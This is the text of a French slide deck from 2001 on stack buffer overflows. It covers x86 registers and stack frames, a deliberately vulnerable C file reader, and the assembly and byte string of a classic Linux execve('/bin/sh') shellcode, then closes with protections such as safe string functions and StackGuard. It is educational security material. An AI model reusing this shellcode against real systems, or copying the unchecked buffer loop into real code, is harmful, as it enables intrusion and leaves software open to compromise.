220 likes | 336 Views
Sécurité et Buffer Overflow. Yan Morvan – Juin 2001. Plan. Le microprocesseur Intel 80386 Principe du Buffer Overflow Que faire après la prise de contrôle ? Comment se protéger contre ces attaques ?. Le microprocesseur Intel 80386. Les registres de segment : CS, SS, DS, ES, FS, GS
E N D
Sécurité et Buffer Overflow Yan Morvan – Juin 2001
Plan • Le microprocesseur Intel 80386 • Principe du Buffer Overflow • Que faire après la prise de contrôle ? • Comment se protéger contre ces attaques ?
Le microprocesseur Intel 80386 • Les registres de segment : CS, SS, DS, ES, FS, GS • Les registres banalisés : EAX, EBX, ECX, EDX, ESI, EDI • Les autres registres : EFLAGS, EIP, EBP, ESP
Décomposition d’un programme • le code • les datas • la pile
Mémoire CS descripteur de segment Code Pile SS descripteur de segment Datas DS descripteur de segment Mécanisme de segmentation
Mémoire CS descripteur de segment Code Pile SS descripteur de segment Datas DS descripteur de segment Organisation de la mémoire sous Windows 32 et Linux
L’instruction mov • movx <source>,<dest> ; x = b, w ou l • movl $2001,%eax // EAX <- 2001 ; copie le nombre 2001 dans EAX • movw $0xFFFF,%bx // BX<- 0xFFFF ; copie la valeur 65536 dans BX • movl %ecx,(%eax) // [EAX] <- ECX ; [EAX] est la case mémoire pointée par EAX • movb $0,4(%eax) // [EAX+4] <- 0 ; adressage base, déplacement
Les sauts inconditionnels • jmp 0x08056E42 /* Adressage direct EIP <- 0x08056E42 ; le programme va à l’adresse 0x08056E42 */ • Debut: /* Etiquette Debut */ • jmp Debut /* Déplacement généré sur 8 bits de valeur –2 (2 est la taille en octets de l’instruction jmp Debut) */ • jmp *%eax /* Adressage indirect • EIP <- EAX ; Saut à l’adresse contenue dans EAX */
La pile • pushl <dest> décrémente ESP de 4 et pousse le contenu de <dest> sur la pile • popl <dest> dépile la valeur pointée par ESP dans <dest> et incrémente ESP de 4
Conventions de la procédure appelante void main() { int a,b,c,d ; | d = appel(a,b,c) ; | } d = appel(a,b,c) ; pushl c pushl b pushl a call appel addl $12,%esp // Suppression des paramètres de la pile.
Conventions de la procédure appelée Début : pushl %ebp // EBP empilé movl %esp,%ebp // EBP <- ESP subl $8,%esp /* Place pour les variables locales d et pt D est un entier de 4 octets Pt est un pointeur contenant une adresse. Il est donc codé sur 4 octets. */ pushad // Sauvegarde de tous les registres Fin : popad // Restauration des registres movl –4(%ebp),%eax // -4(%ebp) contient la valeur de d movl %ebp,%esp // Suppression des variables locales popl %ebp // Restauration de l'ancien EBP ret int appel(int a, int b, int c) { int d ; char *pt ; | | return d ; }
Adresses hautes Contexte de l'appelant nème paramètre empilé par l'appelant 1er paramètre empilé par l'appelant Adresse de retour empilée par call Croissance de la pile EBP EBP de l'appelant sauvé par l'appelé 1ère variable locale de l'appelé nème variable locale de l'appelé Sauvegarde des registres utilisés par l'appelé ESP Adresses basses
Le programme vulnérable int main(int argc , char * argv[]) { // Lit une chaine dans le fichier texte passe en 1er paramètre et l'affiche à l'écran char buf[512] , *c ; FILE *fichier ; | c = &buf[0] ; while((*c = fgetc(fichier)) != 0) { c++ ; } |
Adresses hautes Adresse de retour empilée par call main EBP EBP de l'appelant sauvé par main buf[511] buf 512 octets buf[0] pointeur *c (4 octets) *fichier (16 octets) 8 octets supplémentaires ESP Adresses basses Etat de la pile au début du main
Adresses basses size_tot / NOP_DIV buf[0] NOP NOP 0xeb 0x18 shellcode Exécution des instructions Sens de la pile size_tot 'h' Nouvelle adresse de retour buf[511] EBP sauvegardé adresse de retour Nouvelle adresse de retour Nouvelle adresse de retour Adresses hautes
Ouvrir un shell en C #include <stdio.h>void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL);}
Besoins nécessaires à l’ouverture du Shell • Avoir en mémoire la chaîne "bin/sh" suivie du caractère NULL (caractère de fin de chaîne) • Avoir en mémoire l'adresse de la chaîne "bin/sh" suivie d'un double mot NULL • Copier 0xb dans le registre EAX • Copier l'adresse de "bin/sh" dans le registre EBX • Copier l'adresse de l'adresse de "/bin/sh" dans le registre ECX • Copier NULL dans le registre EDX • Exécuter l'instruction int $0x80
Compilation et obtention des codes opérations void main() {__asm__("jmp 0x18 //2 octetspopl %esi // 1 octetmovl %esi,0x8(%esi) // 3 octetsxorl %eax,%eax // 2 octetsmovb %al,0x7(%esi) // 3 octetsmovl %eax,0xc(%esi) // 3 octetsmovb $0xb,%al // 2 octetsmovl %esi,%ebx // 2 octetsleal 0x8(%esi),%ecx // 3 octetsleal 0xc(%esi),%edx // 3 octetsint $0x80 // 2 octets call -0x19 // 5 octets.string \"/bin/sh\" ");} char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
Précautions à prendre • Supprimer du code les caractères interdits • Utiliser l’adressage relatif pour les sauts • Positionner le pointeur de pile pour ne pas écraser le code
Exploit sous Windows • Importation des fonctions systèmes utiles avec LoadLibraryA et GetProcAddress de la librairie Kernel32.dll • Utiliser un débugger temps réel pour trouver l’adresse de retour • Editer le fichier texte avec un éditeur binaire
Se protéger lorsqu’on est utilisateur • Consulter régulièrement les newsletter portant sur la sécurité • Appliquer les mises à jour immédiatement
Protéger lorsqu’on est développeur • Instructions C à remplacer : gets(), strcpy(), strcat(), sprintf(), scanf(), sscanf() • Utiliser StackGuard ou StackShield